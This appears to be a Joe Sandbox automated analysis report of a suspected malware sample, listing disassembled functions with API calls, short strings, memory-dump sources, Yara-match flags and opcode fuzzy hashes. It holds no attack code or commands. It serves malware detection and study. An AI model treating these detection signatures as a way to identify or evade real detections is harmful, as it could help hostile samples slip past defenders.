Snapshot File: hcaresult_7_2_4b70000_4611cc433b.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer
String ID: CD^O$_DC[
API String ID: 4132704954-3597986494
Opcode ID: 1a70cf315e0b4c7e3d836be999733c222d33353a0e53b5b2c205e893295131da
Instruction ID: 3b241a4899b3222b251f2e12ae877920f67cf9e15cca2461ad258094667279ae
Opcode Fuzzy Hash: 1a70cf315e0b4c7e3d836be999733c222d33353a0e53b5b2c205e893295131da
Instruction Fuzzy Hash: E80149B1F04208DFEB20FF78FC41A6D7360EB09200FA001A9E4295B350D73465858747

Function 00408410 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

Part of subcall function 00409C85: EnterCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409C90
Part of subcall function 00409C85: LeaveCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409CCD

__Init_thread_footer.LIBCMT ref: 0040847E

Part of subcall function 00409C3B: EnterCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C45
Part of subcall function 00409C3B: LeaveCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C78
Part of subcall function 00409C3B: RtlWakeAllConditionVariable.NTDLL ref: 00409CEF

Strings

_DC[, xrefs: 00408427
CD^O, xrefs: 00408430

Memory Dump Source

Source File: 00000007.00000002.3255103045.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_4611cc433b.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ConditionInit_thread_footerVariableWake
String ID: CD^O$_DC[
API String ID: 2296764815-3597986494
Opcode ID: 399a8b999e5772a2d09049cbf9d260b7606379017b1484e9f9d8dab40e033c4e
Instruction ID: e43b8a85f3d3021ebc641e50c070c1ece00a7f90a8480fa311e7b242f9d929d7
Opcode Fuzzy Hash: 399a8b999e5772a2d09049cbf9d260b7606379017b1484e9f9d8dab40e033c4e
Instruction Fuzzy Hash: A0012B70F04258CBC720EBB9AD41A5D7360A718304F50017ED51467381EB789941878D

Function 00407E50 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

Part of subcall function 00409C85: EnterCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409C90
Part of subcall function 00409C85: LeaveCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409CCD

__Init_thread_footer.LIBCMT ref: 00407EBE

Part of subcall function 00409C3B: EnterCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C45
Part of subcall function 00409C3B: LeaveCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C78
Part of subcall function 00409C3B: RtlWakeAllConditionVariable.NTDLL ref: 00409CEF

Strings

CD^O, xrefs: 00407E70
_DC[, xrefs: 00407E67

Memory Dump Source

Source File: 00000007.00000002.3255103045.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_4611cc433b.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ConditionInit_thread_footerVariableWake
String ID: CD^O$_DC[
API String ID: 2296764815-3597986494
Opcode ID: 763e4a14a1476fea278d585dab10dabfb5d17371b066c90e302f9cae630bd372
Instruction ID: 75c8c8ce13ad0cb5c53a0921d7a0f1eb8d827427a00a4f276ef8137bbb37e5e9
Opcode Fuzzy Hash: 763e4a14a1476fea278d585dab10dabfb5d17371b066c90e302f9cae630bd372
Instruction Fuzzy Hash: 5601DB71F05248CFC720EBA4ED4196A7760AB15304F90017EE51967391D6785D41874F

Function 04D16C00 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 04D16C69

Strings

EDO*, xrefs: 04D16C1D
DCDO, xrefs: 04D16C16

Memory Dump Source

Source File: 00000007.00000003.2941756501.0000000004D10000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_3_4d10000_4611cc433b.jbxd

Similarity

API ID: Init_thread_footer
String ID: DCDO$EDO*
API String ID: 1385522511-3480089779
Opcode ID: 0c4b274b1f736970c2523dd1c5506a016ef446dce9cac0d32a5329abb2f60a7d
Instruction ID: 9fdaf2507d2b56bb0c047e21d2d8923d25a0e77acee2b9cb4130bef5cd928f34
Opcode Fuzzy Hash: 0c4b274b1f736970c2523dd1c5506a016ef446dce9cac0d32a5329abb2f60a7d
Instruction Fuzzy Hash: DE016D74F04208EBDB20DFA4E851E5DBBB0EB14708F9041BADD15977A0DA35A902CF59

Function 04D16D10 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 04D16D79

Strings

DCDO, xrefs: 04D16D26
^]E*, xrefs: 04D16D2D

Memory Dump Source

Source File: 00000007.00000003.2941756501.0000000004D10000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_3_4d10000_4611cc433b.jbxd

Similarity

API ID: Init_thread_footer
String ID: DCDO$^]E*
API String ID: 1385522511-2708296792
Opcode ID: 11f08cc739a34c9adf3450d8bd9b345e73f0704a249345ec43240eb2c7ab1f2c
Instruction ID: 12d132fd9caa1c12ed823e0aaf63f1c64f9635d6bf7c66bd1f5017ef46603be9
Opcode Fuzzy Hash: 11f08cc739a34c9adf3450d8bd9b345e73f0704a249345ec43240eb2c7ab1f2c
Instruction Fuzzy Hash: 8E0136B0F00208EFD720EFA8E89269D77B0E744704F9041BAED19573A4D635A985CF59

Function 04B77017 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

Part of subcall function 04B79EEC: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B79EF7
Part of subcall function 04B79EEC: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B79F34

__Init_thread_footer.LIBCMT ref: 04B77080

Part of subcall function 04B79EA2: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B79EAC
Part of subcall function 04B79EA2: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B79EDF

Strings

^BXO, xrefs: 04B7702D
three, xrefs: 04B77062, 04B7708B

Memory Dump Source

Source File: 00000007.00000002.3279910131.0000000004B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4b70000_4611cc433b.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer
String ID: ^BXO$three
API String ID: 4132704954-2624155687
Opcode ID: 12fe19018952374f4e35b7bec504fa48320992c5eda2158f76b84b763f925867
Instruction ID: f59f332d1c98b486e47eab9fd44cee97564f22fcc481bbae0699f3c4ed54cc86
Opcode Fuzzy Hash: 12fe19018952374f4e35b7bec504fa48320992c5eda2158f76b84b763f925867
Instruction Fuzzy Hash: 21018174F40208DFEB34EFA5E951A5CB7B0EB14300FA041B9E825A73A0DB75B945CB49

Function 04B77A67 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

Part of subcall function 04B79EEC: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B79EF7
Part of subcall function 04B79EEC: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B79F34

__Init_thread_footer.LIBCMT ref: 04B77AD0

Part of subcall function 04B79EA2: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B79EAC
Part of subcall function 04B79EA2: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B79EDF

Strings

DCDO, xrefs: 04B77A7D
EDO*, xrefs: 04B77A84

Memory Dump Source

Source File: 00000007.00000002.3279910131.0000000004B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4b70000_4611cc433b.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer
String ID: DCDO$EDO*
API String ID: 4132704954-3480089779
Opcode ID: 0c4b274b1f736970c2523dd1c5506a016ef446dce9cac0d32a5329abb2f60a7d
Instruction ID: 64127fcc75e071ebab55532403c99664c1819064d02bde223e32da88ffbb133d
Opcode Fuzzy Hash: 0c4b274b1f736970c2523dd1c5506a016ef446dce9cac0d32a5329abb2f60a7d
Instruction Fuzzy Hash: F50181B4F08208DBEB20DFA4E841E5DB7B0EB14704F9045BAD825A7790DA35BA47CF49

Function 04B77B77 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

Part of subcall function 04B79EEC: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B79EF7
Part of subcall function 04B79EEC: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B79F34

__Init_thread_footer.LIBCMT ref: 04B77BE0

Part of subcall function 04B79EA2: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B79EAC
Part of subcall function 04B79EA2: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B79EDF

Strings

^]E*, xrefs: 04B77B94
DCDO, xrefs: 04B77B8D

Memory Dump Source

Source File: 00000007.00000002.3279910131.0000000004B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4b70000_4611cc433b.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer
String ID: DCDO$^]E*
API String ID: 4132704954-2708296792
Opcode ID: 11f08cc739a34c9adf3450d8bd9b345e73f0704a249345ec43240eb2c7ab1f2c
Instruction ID: 3c92b33fea8c52e7412498b82e2a1315ca71712fb2f5802d4d9095ae2c925329
Opcode Fuzzy Hash: 11f08cc739a34c9adf3450d8bd9b345e73f0704a249345ec43240eb2c7ab1f2c
Instruction Fuzzy Hash: 8B01C8F0F00208DFE720DFA8E882A9D77B0E744304F9041BAE82557390DA35B985CF49

Function 00407800 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

Part of subcall function 00409C85: EnterCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409C90
Part of subcall function 00409C85: LeaveCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409CCD

__Init_thread_footer.LIBCMT ref: 00407869

Part of subcall function 00409C3B: EnterCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C45
Part of subcall function 00409C3B: LeaveCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C78
Part of subcall function 00409C3B: RtlWakeAllConditionVariable.NTDLL ref: 00409CEF

Strings

DCDO, xrefs: 00407816
EDO*, xrefs: 0040781D

Memory Dump Source

Source File: 00000007.00000002.3255103045.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_4611cc433b.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ConditionInit_thread_footerVariableWake
String ID: DCDO$EDO*
API String ID: 2296764815-3480089779
Opcode ID: c1255349a2e57ad23b9470b93f2817b8619d13366b065ca6f952b4fb9d144549
Instruction ID: 2c0c492e7e72bdb30d52bd5223af33e2dc0730c32d16496d374a94bf7777f62b
Opcode Fuzzy Hash: c1255349a2e57ad23b9470b93f2817b8619d13366b065ca6f952b4fb9d144549
Instruction Fuzzy Hash: 5B016275F08208DBDB20EFA5D842E5DB7B0AB14708F50417ED916A7791DA38AD02CF4D

Function 00407910 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

Part of subcall function 00409C85: EnterCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409C90
Part of subcall function 00409C85: LeaveCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409CCD

__Init_thread_footer.LIBCMT ref: 00407979

Part of subcall function 00409C3B: EnterCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C45
Part of subcall function 00409C3B: LeaveCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C78
Part of subcall function 00409C3B: RtlWakeAllConditionVariable.NTDLL ref: 00409CEF

Strings

^]E*, xrefs: 0040792D
DCDO, xrefs: 00407926

Memory Dump Source

Source File: 00000007.00000002.3255103045.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_4611cc433b.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ConditionInit_thread_footerVariableWake
String ID: DCDO$^]E*
API String ID: 2296764815-2708296792
Opcode ID: ffab40d94f7747eb7ab79d41521036dd22da8b0a9ae6696f2e7e2344855eaeaf
Instruction ID: a49365da1333b78fae32507e70f919b170a79118b3a39b38b1efb03faeb462bb
Opcode Fuzzy Hash: ffab40d94f7747eb7ab79d41521036dd22da8b0a9ae6696f2e7e2344855eaeaf
Instruction Fuzzy Hash: 92011DB0F042089BD720EFA9E883A9DB7A0A784704F90417FE919A7391D6396D81CF4D

Function 00406DB0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

Part of subcall function 00409C85: EnterCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409C90
Part of subcall function 00409C85: LeaveCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409CCD

__Init_thread_footer.LIBCMT ref: 00406E19

Part of subcall function 00409C3B: EnterCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C45
Part of subcall function 00409C3B: LeaveCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C78
Part of subcall function 00409C3B: RtlWakeAllConditionVariable.NTDLL ref: 00409CEF

Strings

^BXO, xrefs: 00406DC6
three, xrefs: 00406DFB, 00406E24

Memory Dump Source

Source File: 00000007.00000002.3255103045.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_4611cc433b.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ConditionInit_thread_footerVariableWake
String ID: ^BXO$three
API String ID: 2296764815-2624155687
Opcode ID: 21b54a8f145a482758417498dcbb8d1bce9c45091be2fa7e96c7a76b47a53405
Instruction ID: 65839fb99cc218ac3aba753c8b84c799ce838b6f743c24d9f59955343364cecc
Opcode Fuzzy Hash: 21b54a8f145a482758417498dcbb8d1bce9c45091be2fa7e96c7a76b47a53405
Instruction Fuzzy Hash: 9B01A234F002089BC720EFA5E852A9DB7A0AB04304F51017AED15A73A1DA78AD41CB4D

Function 04B76E87 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 04B79EEC: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B79EF7
Part of subcall function 04B79EEC: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B79F34

__Init_thread_footer.LIBCMT ref: 04B76EE0

Part of subcall function 04B79EA2: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B79EAC
Part of subcall function 04B79EA2: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B79EDF

Strings

mix, xrefs: 04B76ED1, 04B76EEB
GCR*, xrefs: 04B76E9D

Memory Dump Source

Source File: 00000007.00000002.3279910131.0000000004B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4b70000_4611cc433b.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer
String ID: GCR*$mix
API String ID: 4132704954-2081467610
Opcode ID: cc73103706057ea2ec68508435f7b0b35070585539e069c0c3f2ecbc84e71b38
Instruction ID: 879765c9191206769fdd904ebcb22a0fd9287f2f660bac34f0a59268464ce85a
Opcode Fuzzy Hash: cc73103706057ea2ec68508435f7b0b35070585539e069c0c3f2ecbc84e71b38
Instruction Fuzzy Hash: 6AF0CDB0F44608DFF720EFA8E981A5DB7A09B04314F9006E6D81597790D674B8858B15

Function 00406C20 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 00409C85: EnterCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409C90
Part of subcall function 00409C85: LeaveCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409CCD

__Init_thread_footer.LIBCMT ref: 00406C79

Part of subcall function 00409C3B: EnterCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C45
Part of subcall function 00409C3B: LeaveCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C78
Part of subcall function 00409C3B: RtlWakeAllConditionVariable.NTDLL ref: 00409CEF

Strings

mix, xrefs: 00406C6A, 00406C84
GCR*, xrefs: 00406C36

Memory Dump Source

Source File: 00000007.00000002.3255103045.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_4611cc433b.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ConditionInit_thread_footerVariableWake
String ID: GCR*$mix
API String ID: 2296764815-2081467610
Opcode ID: ea6df946dbd39a3bd02165512fb72f4697ff0a7cd200124515fe755575e12068
Instruction ID: 66abf7d1178dc3f080d3360dc9a6a308118c2c651d6211e1bcdb7e6be8e8d6a7
Opcode Fuzzy Hash: ea6df946dbd39a3bd02165512fb72f4697ff0a7cd200124515fe755575e12068
Instruction Fuzzy Hash: CFF062B0F046049FE720EBA5E982E5DB7A09704704F9002BAE949A77D1D678AD418B59

Analysis Process: e051bdf457.exePID: 3716, Parent PID: 5596COMMON

Execution Graph

Execution Coverage:	1.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	1.1%
Total number of Nodes:	822
Total number of Limit Nodes:	102

Executed Functions

Function 61E354D1 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 31
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?,?,61ECC400,?,61E35248), ref: 61E354EB

Strings

HRa, xrefs: 61E3554C

Memory Dump Source

Source File: 00000009.00000002.3293679172.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000009.00000002.3293582704.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3296445975.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3297911095.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3299212833.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3300111960.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3301502115.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3301502115.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3305287294.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_61e00000_e051bdf457.jbxd

Similarity

API ID: InfoSystem
String ID: HRa
API String ID: 31276548-1004199025
Opcode ID: 90f829b77809e80cd7cc556866e5c439b2c19dcd8d7a36888ffec522c66ecd4c
Instruction ID: 06cda1940385b8855eb11c4b22b944da250b3e82bd825487f891a332eec36e05
Opcode Fuzzy Hash: 90f829b77809e80cd7cc556866e5c439b2c19dcd8d7a36888ffec522c66ecd4c
Instruction Fuzzy Hash: 56F03AB02083419BD704AFA4C60631FBAF5AFC6B09F66C82DD1858B380CB75D8559B93

Function 61E4B8A1 Relevance: 1.6, APIs: 1, Instructions: 323
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memcmp.MSVCRT ref: 61E4BBA6

Memory Dump Source

Source File: 00000009.00000002.3293679172.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000009.00000002.3293582704.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3296445975.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3297911095.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3299212833.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3300111960.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3301502115.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3301502115.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3305287294.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_61e00000_e051bdf457.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: c2002dce9f5e4d7c2b5f78abcb95225e97438571cbdf1746bfb7f61ccb496e17
Instruction ID: 0d30bdf3ca1535cc6e9debfec2a3fa3a34d16498aff86589297f71c0a5a37c1e
Opcode Fuzzy Hash: c2002dce9f5e4d7c2b5f78abcb95225e97438571cbdf1746bfb7f61ccb496e17
Instruction Fuzzy Hash: 7DC15D30E082858BEB15CFA8E4D079D7AF1AF8831CF29C46DD8469B349EB74D885CB51

Function 61E4C7C5 Relevance: 8.0, APIs: 4, Strings: 1, Instructions: 467
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memcmp.MSVCRT ref: 61E4C91F
memcmp.MSVCRT ref: 61E4C973
memcmp.MSVCRT ref: 61E4C9F2
memcmp.MSVCRT ref: 61E4CC23

Strings

0, xrefs: 61E4CC0C

Memory Dump Source

Source File: 00000009.00000002.3293679172.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000009.00000002.3293582704.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3296445975.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3297911095.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3299212833.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3300111960.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3301502115.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3301502115.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3305287294.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_61e00000_e051bdf457.jbxd

Similarity

API ID: memcmp
String ID: 0
API String ID: 1475443563-4108050209
Opcode ID: 3588805e3ffade70bff82764852c82c4248bf0e7dbb84644676dab7fcfb51e0f
Instruction ID: 3bb57cbd4086e38ca070a1eb41e2420ec87b0c0feb17810d174f813009c16240
Opcode Fuzzy Hash: 3588805e3ffade70bff82764852c82c4248bf0e7dbb84644676dab7fcfb51e0f
Instruction Fuzzy Hash: 66127D70F05255CFEB05CFA8E484789BBF1AF48318F25C1A9D845AB356D774E88ACB80

Function 61E541A0 Relevance: 6.8, APIs: 2, Strings: 2, Instructions: 772stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 61E541DC
strcmp.MSVCRT ref: 61E543C4

Part of subcall function 61E0AE03: free.MSVCRT ref: 61E0AE3D

Strings

@, xrefs: 61E54291
rnal, xrefs: 61E547EC

Memory Dump Source

Source File: 00000009.00000002.3293679172.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000009.00000002.3293582704.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3296445975.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3297911095.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3299212833.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3300111960.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3301502115.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3301502115.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3305287294.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_61e00000_e051bdf457.jbxd

Similarity

API ID: strcmp$free
String ID: @$rnal
API String ID: 3401341699-826727331
Opcode ID: 65c7117cef1413ce86b04ae42f7821b16ddd6885cdc6763a36bec1ed636a8f39
Instruction ID: 0ce42be2a52064457b78e7c31244c3f07411abd0ae8e299ce13c5538bbb98839
Opcode Fuzzy Hash: 65c7117cef1413ce86b04ae42f7821b16ddd6885cdc6763a36bec1ed636a8f39
Instruction Fuzzy Hash: 70822470A04259CFEB60CF68C880B89BBF1BF45308F2481EAD8589B352E775D9A5CF51

Function 61E4928D Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 309
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32 ref: 61E4947D

Strings

winOpen, xrefs: 61E49605
exclusive, xrefs: 61E493FC

Memory Dump Source

Source File: 00000009.00000002.3293679172.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000009.00000002.3293582704.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3296445975.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3297911095.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3299212833.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3300111960.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3301502115.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3301502115.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3305287294.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_61e00000_e051bdf457.jbxd

Similarity

API ID: CreateFile
String ID: exclusive$winOpen
API String ID: 823142352-1568912604
Opcode ID: 05e922388839dc4f4ca0a419fa8aad4fac10a301f76b51f4e0cfaabc36faa4c0
Instruction ID: ddd978882cd5270fa8f94071a9300b4b805ea89cb158bd2aa8a7dfbc70792811
Opcode Fuzzy Hash: 05e922388839dc4f4ca0a419fa8aad4fac10a301f76b51f4e0cfaabc36faa4c0
Instruction Fuzzy Hash: B4D1A2709047499FDB10DFA9D58478EBBF0AF88318F208929E868EB394E774D985CF41

Function 61E3402F Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 36
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNEL32 ref: 61E3404C

Strings

winClose, xrefs: 61E34086

Memory Dump Source

Source File: 00000009.00000002.3293679172.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000009.00000002.3293582704.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3296445975.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3297911095.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3299212833.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3300111960.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3301502115.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3301502115.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3305287294.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_61e00000_e051bdf457.jbxd

Similarity

API ID: CloseHandle
String ID: winClose
API String ID: 2962429428-4219828513
Opcode ID: c60c52094e65ead93584bd01b08d1abc788ebbc504c85440e44ebfbab32f71d9
Instruction ID: 774f0b390e99eda96ce63d5266cab459109c075f265339c96ef3e2cb904a27c1
Opcode Fuzzy Hash: c60c52094e65ead93584bd01b08d1abc788ebbc504c85440e44ebfbab32f71d9
